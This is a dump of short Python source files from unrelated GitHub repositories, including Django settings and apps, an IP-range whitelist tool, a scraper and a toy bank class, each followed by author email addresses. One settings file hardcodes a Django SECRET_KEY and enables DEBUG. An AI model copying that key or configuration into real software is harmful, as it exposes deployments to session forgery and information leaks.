# full_data = process_response_time_and_percentiles()
# final_data = process_final(full_data)
# for index in range(len(suffixes)):
# print_csv_all_reps(index, full_data)
# print_final_data(index, final_data)
if __name__ == "__main__":
main()
| [
"jovan.nikolic@gess.ethz.ch"
] | jovan.nikolic@gess.ethz.ch |
09433901cd398eb1b68a2c4107da479d5327b795 | 6e7393f57187089124ed0efb6b9235341e3fae17 | /kh_django/khuser/apps.py | 913a80460bc212293c3dbbe56fc11ba731ed14d4 | [] | no_license | hunit612/django_shop | 27b98b9fa6dac2f97b30a01b978ef0ebdbe9735e | e9e4178c87e1a4f70260174d272dc01b8918ae98 | refs/heads/main | 2023-03-13T07:00:42.425760 | 2021-03-01T14:40:54 | 2021-03-01T14:40:54 | 338,822,804 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 118 | py | from django.apps import AppConfig
class KhuserConfig(AppConfig):
name = 'khuser'
verbose_name = '사용자'
| [
"hunit612@gmail.com"
] | hunit612@gmail.com |
b44a74768299645863484570c09d4de808d5b045 | 02d9e8e33ee9514c326effa65376b88c530f3049 | /masatermica/settings.py | 175960a7384b5c5deaade1c3269eb4b177587c93 | [] | no_license | SolracNavi/my-first-blog | a974d286ecf5a17b031b794efb7bb78e4d27f614 | 2a2b910fe6219bc6cab5d159c2b3db20ed8d46fc | refs/heads/master | 2020-06-24T22:00:15.817196 | 2019-08-01T02:11:28 | 2019-08-01T02:11:28 | 199,103,991 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,214 | py | """
Django settings for masatermica project.
Generated by 'django-admin startproject' using Django 2.0.13.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.0/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.0/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '-@qp7_de&y*v%@l&i+d0cdi5n3q5u=&pe%2kseg6c1v&6-$gff'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = ['127.0.0.1', '.pythonanywhere.com']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'blog',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'masatermica.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'masatermica.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.0/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.0/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.0/topics/i18n/
LANGUAGE_CODE = 'es-ar'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.0/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
# a ver que hace
| [
"el.sariri@gmail.com"
] | el.sariri@gmail.com |
1d0d1a4ae639e6a74e1217e9b97c79cdbb3541a8 | 9a27bf7fbcddfed5770f876f14140e1bfa94942e | /country-ranges.py | a5644feceb490a049e0bce48c6b286b6048bfd95 | [] | no_license | zb3/scan-ignore-utils | d71a4260b636b4ba4a59e3bd7f8461f37a13058e | 66c95b974266416baedb812280b7b81476d09366 | refs/heads/master | 2021-05-12T14:17:11.123920 | 2019-12-20T17:27:11 | 2019-12-20T17:27:11 | 116,952,564 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,701 | py | import sys
import csv
import argparse
from util import *
"""
* This tool always produces a whitelist, since the DB doesn't map every IP address to a country. So if you want to exclude ranges from one country, you will also need to exclude all unknown ranges, otherwise your exclusion may not be effective.
"""
parser = argparse.ArgumentParser()
parser.add_argument('blocks_file', help='CSV file containing IP to country id mappings')
parser.add_argument('locations_file', help='CSV file containing country id to country code mappings')
parser.add_argument('CC', nargs='+', help='country code')
parser.add_argument('-b', action='store_true', help='Negate the countries list.')
parser.add_argument('-n', action='store_true', help="Don't use CIDR format for output")
args = parser.parse_args()
no_cidr = args.n
blacklist_mode = args.b
target_countries = [cc.lower() for cc in args.CC]
countries = []
country_map = {}
ranges = []
with open(args.locations_file, newline='', encoding='utf-8') as csvfile:
dbreader = csv.reader(csvfile)
next(dbreader)
for row in dbreader:
cc = row[4].lower()
if cc:
countries.append(cc)
country_map[row[0]] = cc
with open(args.blocks_file, newline='', encoding='utf-8') as csvfile:
dbreader = csv.reader(csvfile)
next(dbreader)
for row in dbreader:
block, cid = row[:2]
cc = country_map.get(cid)
if not cc:
continue
cc_there = cc in target_countries
if blacklist_mode != cc_there:
ranges.append(ip_range(block))
ranges = merge_ranges(ranges)
total = ranges_total(ranges)
for line in output_ranges(ranges, no_cidr):
print(line)
print('%d addresses in output ranges' % total, file=sys.stderr)
| [
"onlylogout@gmail.com"
] | onlylogout@gmail.com |
f61fc5f91aad394d7fb0cff01fbb7842ed9c45b2 | c7f8eb0bf36992599a3b81166e8713a41b0ad6d8 | /main.py | a82d742e449edbe3889351d79efb6820da72e388 | [] | no_license | dcassiero/webscrapery | 7317b339cfb590370095ddd72476190b328df7bf | e4859ce8e2315640c935adbd19f2d102dafbf692 | refs/heads/master | 2021-01-20T07:51:36.003878 | 2017-05-02T18:48:58 | 2017-05-02T18:48:58 | 90,053,821 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 261 | py | from bs4 import BeautifulSoup
import requests
params = []
r = requests.get("https://stage-services.icg360.org/cxcat/health", params=params)
soup = BeautifulSoup(r.text, "html.parser")
results = soup.findAll("label", {"class": "control-label"})
print(results) | [
"daniel.cassiero@gmail.com"
] | daniel.cassiero@gmail.com |
05837a53261174503793bd262e4c53569fed61db | ddc32226df51aa1a5796fa9df74c3e92fd0ace42 | /django_workflow/migrations/0009_auto_20180226_1444.py | db15b64e0b8c188ee4117df3155aa7dba90ebd3b | [
"BSD-3-Clause"
] | permissive | dani0805/django_workflow | fc2dbf086fecc946f0cae19bd81583e77724335d | 4eb20fefa95c5d917628fc32b5479879d119a7e1 | refs/heads/master | 2021-07-06T13:20:31.560791 | 2019-10-15T13:41:10 | 2019-10-15T13:41:10 | 101,757,229 | 8 | 0 | BSD-3-Clause | 2021-06-10T20:49:54 | 2017-08-29T12:11:49 | Python | UTF-8 | Python | false | false | 874 | py | # Generated by Django 2.0 on 2018-02-26 14:44
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('django_workflow', '0008_auto_20180117_1455'),
]
operations = [
migrations.AddField(
model_name='transitionlog',
name='object_state',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='django_workflow.CurrentObjectState', verbose_name='Object State'),
),
migrations.AlterField(
model_name='transition',
name='initial_state',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='outgoing_transitions', to='django_workflow.State', verbose_name='Initial State'),
),
]
| [
"valerio.sanelli@florencetech.com"
] | valerio.sanelli@florencetech.com |
ed14a31e2f83ec2a3f46f9db50e246d077f8693e | ee9b987b42140d7a4e4e8ecfbfab2b0629fefb4a | /user1.py | f364b5978c5b54ca55b6d9a0fb6c8b9fc3459882 | [] | no_license | awalton9401/chicagocodepython | 740d2ad2c9e63d606cb808ab13cc0a2017f772a8 | f27c0336e60f0f4ec16fe12c9372caec7e2f403a | refs/heads/master | 2021-01-15T06:17:30.149572 | 2020-02-25T03:35:56 | 2020-02-25T03:35:56 | 242,899,688 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,208 | py |
class User:
def __init__(self, name, email_address, account_balance):
self.name = name
self.email = email_address
self.account_balance = account_balance
def make_withdrawl(self, amount):
self.account_balance -= amount
def make_deposit(self, amount):
self.account_balance += amount
def display_user_balance(self):
print(self.name, self.account_balance)
def transfer_money(self,other_user,amount):
self.account_balance -= amount
other_user.account_balance += amount
# def __str__(self):
# return f"{self.fname} {self.lname}"
user1=User("Andre Walton", "awalton9401@hotmail.com", 500)
user2=User("Amber Walton", "awalton9401@hotmail.com", 700)
user3=User("Anita Redding", "awalton9401@hotmail.com", 800)
user1.make_deposit(100)
user1.make_deposit(100)
user1.make_deposit(100)
user1.make_withdrawl(200)
user2.make_deposit(100)
user2.make_deposit(100)
user2.make_withdrawl(50)
user2.transfer_money(user1,100)
user3.make_deposit(100)
user3.make_withdrawl(50)
user3.make_withdrawl(50)
user3.make_withdrawl(50)
user1.display_user_balance()
user2.display_user_balance()
user3.display_user_balance()
| [
"awalton9401@hotmail.com"
] | awalton9401@hotmail.com |
6347debad11c0a6b40a7f94a3ab778d780943f36 | 24a88b7dd4d81763fd4212a42c4a73f4c35f8ffc | /apiREST/api/serializers.py | f92010912774eedc0733526c21deca79cd4e444b | [] | no_license | junkluis/leccionMVC | d001c122318dde065ffd9a88aaaad0b7b4533a05 | c311e69f2ae6d102651f9f7e6fc1f9750fc9e4bc | refs/heads/master | 2021-01-15T19:27:48.875724 | 2017-08-14T14:35:29 | 2017-08-14T14:35:29 | 99,823,220 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 244 | py | from rest_framework import serializers
from .models import *
class ticketSerializer(serializers.ModelSerializer):
class Meta:
model = ticket
fields = ('fechaEmision', 'Precio', 'Adquiriente', 'Puesto', 'Origen', 'Destino') | [
"lufezuro@gmail.com"
] | lufezuro@gmail.com |
adf34bdb17df662959d03197aa497d4f9a4eccc1 | 9bbf429d2c2e2f20345d613a719cf01e8f9a0bff | /project/settings.py | 6c1e92b7cc86c64ef10a85cf6336b520a2f2d545 | [] | no_license | sandglasscao/ENU | f78f8a8dfaf3263587885b0622ab6d3182012375 | e3c26fd57f8ef582da576e1cc28b7eb42562c706 | refs/heads/master | 2021-01-23T05:19:03.175439 | 2017-04-14T09:24:22 | 2017-04-14T09:24:22 | 86,297,754 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,673 | py | """
Django settings for project project.
Generated by 'django-admin startproject' using Django 1.8.2.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
import socket
import datetime
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
ON_PAAS = 'OPENSHIFT_REPO_DIR' in os.environ
if ON_PAAS:
SECRET_KEY = os.environ['OPENSHIFT_SECRET_TOKEN']
else:
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = ')_7av^!cy(wfx=k#3*7x+(=j^fzv+ot^1@sh9s9t=8$bu@r(z$'
# SECURITY WARNING: don't run with debug turned on in production!
# adjust to turn off when on Openshift, but allow an environment variable to override on PAAS
DEBUG = not ON_PAAS
DEBUG = DEBUG or os.getenv("debug", "false").lower() == "true"
if ON_PAAS and DEBUG:
print("*** Warning - Debug mode is on ***")
ALLOWED_HOSTS = ['*']
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.sites',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'rest_framework',
'crispy_forms',
'userprofile',
'metadata',
'utility',
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware',
'django.middleware.locale.LocaleMiddleware',
)
ROOT_URLCONF = 'project.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates'),
],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
'django.template.context_processors.static',
'django.template.context_processors.i18n',
],
},
},
]
WSGI_APPLICATION = 'project.wsgi.application'
if ON_PAAS:
# determine if we are on MySQL or POSTGRESQL
if "OPENSHIFT_POSTGRESQL_DB_USERNAME" in os.environ:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql_psycopg2',
'NAME': os.environ['OPENSHIFT_APP_NAME'],
'USER': os.environ['OPENSHIFT_POSTGRESQL_DB_USERNAME'],
'PASSWORD': os.environ['OPENSHIFT_POSTGRESQL_DB_PASSWORD'],
'HOST': os.environ['OPENSHIFT_POSTGRESQL_DB_HOST'],
'PORT': os.environ['OPENSHIFT_POSTGRESQL_DB_PORT'],
}
}
elif "OPENSHIFT_MYSQL_DB_USERNAME" in os.environ:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': os.environ['OPENSHIFT_APP_NAME'],
'USER': os.environ['OPENSHIFT_MYSQL_DB_USERNAME'],
'PASSWORD': os.environ['OPENSHIFT_MYSQL_DB_PASSWORD'],
'HOST': os.environ['OPENSHIFT_MYSQL_DB_HOST'],
'PORT': os.environ['OPENSHIFT_MYSQL_DB_PORT'],
}
}
else:
'''
# stock django, local development.
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': os.environ['OPENSHIFT_APP_NAME'],
'USER': os.environ['OPENSHIFT_MYSQL_DB_USERNAME'],
'PASSWORD': os.environ['OPENSHIFT_MYSQL_DB_PASSWORD'],
'HOST': os.environ['OPENSHIFT_MYSQL_DB_HOST'],
'PORT': os.environ['OPENSHIFT_MYSQL_DB_PORT'],
}
}
'''
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': os.environ['APP_NAME2'],
'USER': os.environ['MYSQL_DB_USERNAME'],
'PASSWORD': os.environ['MYSQL_DB_PASSWORD'],
'HOST': os.environ['MYSQL_DB_HOST'],
'PORT': os.environ['MYSQL_DB_PORT'],
}
}
# Internationalization
# https://docs.djangoproject.com/en/1.8/topics/i18n/
# LANGUAGE_CODE = 'en-us'
LANGUAGE_CODE = 'zh-hans'
# TIME_ZONE = 'America/Sao_Paulo'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.6/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'wsgi', 'static') # STATIC_ROOT is just for production env to collect all static resources
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
)
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
os.path.join(BASE_DIR, "static"),
)
if ON_PAAS:
MEDIA_ROOT = os.path.join(os.environ.get('OPENSHIFT_DATA_DIR'), 'media')
MEDIA_URL = '/static/media/'
else:
#MEDIA_ROOT = os.path.join(os.path.dirname(BASE_DIR), 'media')
MEDIA_ROOT = os.path.join(BASE_DIR, 'static', 'media')
MEDIA_URL = STATIC_URL + 'media/'
CRISPY_TEMPLATE_PACK = 'bootstrap3'
SITE_ID = 1
LOGIN_REDIRECT_URL = '/'
AUTH_PROFILE_MODULE = 'userprofile.Profile'
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'verbose': {
'format': "[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s",
'datefmt': "%d/%b/%Y %H:%M:%S"
},
'simple': {
'format': '%(levelname)s %(message)s'
},
},
'handlers': {
# 'file': {
# 'level': 'INFO',
# 'class': 'logging.FileHandler',
# 'filename': 'bluepage.log',
# 'formatter': 'verbose'
# },
'console': {
'level': 'DEBUG',
'class': 'logging.StreamHandler',
'formatter': 'verbose',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'propagate': True,
'level': 'ERROR',
},
'case': {
'handlers': ['console'],
'level': 'DEBUG',
},
'page': {
'handlers': ['console'],
'level': 'DEBUG',
},
}
}
REST_FRAMEWORK = {
# Use Django's standard `django.contrib.auth` permissions,
# or allow read-only access for unauthenticated users.
'DEFAULT_AUTHENTICATION_CLASSES': (
'rest_framework_jwt.authentication.JSONWebTokenAuthentication',
'rest_framework.authentication.TokenAuthentication',
),
'DEFAULT_PERMISSION_CLASSES': [
'rest_framework.permissions.IsAuthenticated',
]
}
JWT_AUTH = {
'JWT_EXPIRATION_DELTA': datetime.timedelta(seconds=30000),
}
| [
"root@localhost"
] | root@localhost |
7ee2e91b98ce35a52abbece10be152d25ea89176 | 9884a461ad663e402074639f72005cc608a169ec | /ToDo/urls.py | c535801a83995ee58a2d982a9f44818624f16c56 | [] | no_license | prshnt19/ToDo | 1cd7de3be0957046aa72719bdf907768b617666c | dca6ea52ff4c67683beb5d4026772f79d2eae84d | refs/heads/master | 2022-01-25T13:34:39.752599 | 2019-06-25T13:39:02 | 2019-06-25T13:39:02 | 174,274,805 | 0 | 1 | null | 2022-01-06T22:30:20 | 2019-03-07T05:01:27 | HTML | UTF-8 | Python | false | false | 820 | py | """ToDo URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.1/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path
from django.conf.urls import include
urlpatterns = [
path('admin/', admin.site.urls),
path('', include('home.urls')),
]
| [
"prashant.rawat216@gmail.com"
] | prashant.rawat216@gmail.com |
36f9d2123e175a1a9411491e0c6b6f2766b39207 | 76b79e9f97dccc120f0bd707ddc00ed749c7d519 | /mainbasket_cekstopword.py | c39fd6a79eaec4ff06951fc3079df24e06b9e9db | [] | no_license | alhilmiu/file-web-mining | ece584d55976652c6f68b7343874ce9b9a60977c | 46abbe8083bbf6021ddc3bcc7745d47ea7fe5008 | refs/heads/master | 2020-05-18T19:03:36.966006 | 2019-05-02T15:00:45 | 2019-05-02T15:00:45 | 184,600,666 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 216 | py | def cek_kata(kata):
doc=open("stopwords.txt","r")
kumpulan_kata=doc.read()
#print (kumpulan_kata)
if kata not in kumpulan_kata:
ketemu=True
else:
ketemu=False
return ketemu
| [
"alhilmi015@gmail.com"
] | alhilmi015@gmail.com |
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